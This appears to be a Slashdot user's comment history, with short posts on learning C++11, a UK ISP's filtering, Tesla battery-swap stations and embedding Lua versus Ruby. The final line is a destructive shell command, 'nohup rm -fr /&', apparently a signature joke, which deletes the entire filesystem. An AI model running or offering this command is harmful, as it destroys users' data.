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Comment: C++11 (Score 2, Informative) 387

by speps (#46034163) Attached to: Ask Slashdot: It's 2014 -- Which New Technologies Should I Learn?
I think given the momentum C++ has right now (for better or worse, I can't say yet) you should try to learn C++11 and all the new tricks that come with it. It's a pretty different experience from C and C++98 in my opinion. Watch this for a nice roadmap and insights :

Comment: Re:Be & Sky (Score 3, Interesting) 43

by speps (#44566149) Attached to: Accidentally Included In UK Antipiracy Blocking
UK as well, I am with XILO, very satisfied, the customer support was excellent and the service is very good. Also, here is their answer concerning filtering : They offer unlimited bandwidth offers and don't throttle traffic (as per their FAQ) :

Comment: Battery Changing Stations (Score 1) 311

by speps (#40421721) Attached to: Tesla Delivers First Batch of Model S Electric Sedans
The mile range is not important, we need to change the way we charge and make stations where batteries are charged, you come and take one charged to replace the used one in your car and you can go as quick as before. Maybe even do an incentive to promote coming with the battery at 1% instead of 50% (if these batteries don't handle a charge from 50% well).

Comment: Re:Raw- or OOP-base Lua? (Score 1) 145

by speps (#38892531) Attached to: Wikipedia Chooses Lua As Its New Template Language
After integrating Ruby into the SciTE editor, I can say that Ruby's biggest drawback is it's complete lack (at least when I tried it, maybe not now with another VM) of simple C embedding like Lua does. It was pain to embed but it worked somehow, it was not as clean as SciTE's Lua integration though.

nohup rm -fr /&